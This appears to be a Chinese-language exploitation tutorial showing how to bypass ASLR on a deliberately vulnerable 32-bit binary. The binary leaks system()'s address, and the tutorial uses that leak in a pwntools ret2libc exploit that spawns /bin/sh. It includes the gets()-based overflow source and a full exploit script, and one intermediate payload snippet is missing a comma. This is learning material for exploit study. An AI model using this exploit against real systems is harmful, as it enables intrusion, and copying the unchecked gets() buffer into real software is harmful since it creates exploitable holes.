发布于

利用已泄漏信息绕过 ASLR

作者

0x01 源码

aslr.zip

Binary

source.c
#include <stdio.h>
#include <stdlib.h>

void vuln() {
  char buffer[20];

  printf("System is at: %lp\n", system);

  gets(buffer);
}

int main() {
  vuln();

  return 0;
}

void win() {
  puts("PIE bypassed! Great job :D");
}

就像我们对 PIE 所做的那样,只不过这次我们输出 system 的地址。

0x02 分析

$ ./vuln-32
System is at: 0xf7c4f610

Note

你的系统地址可能以不同的字符结尾。但这只是说明你用的是不同的 libc 版本。

0x03 利用

其中大部分与我们对 PIE 所做的一样。

from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
libc = elf.libc

p = process()

解析 system 地址并从中计算 libc 基址(就像我们对 PIE 所做的那样)。

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

现在我们终于可以使用 libc ELF 对象来实现 ret2libc 了。

payload = flat(
    'A' * 32,
    libc.sym['system']
    0x0,
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

1x01 最终 Exploit

exp.py
from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./vuln-32')
libc = elf.libc

p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
    'A' * 32,
    libc.sym['system'],
    0x0,
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

0x04 64-bit

aslr-64.zip

Binary

自己尝试 :)

0x05 使用 pwntools 优化

payload = flat(
    'A' * 32,
    libc.sym['system']
    0x0,
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

你可以将上面的 payload 写得更加 pwntoolsy。

shell = next(libc.search(b'/bin/sh'))

rop = ROP(libc)
rop.raw('A' * 32)
rop.system(shell)

p.sendline(rop.chain())

这样做的好处是更具可读性,而且也更容易在 64-bit 漏洞利用中重用。因为所有参数都会自动为你解析。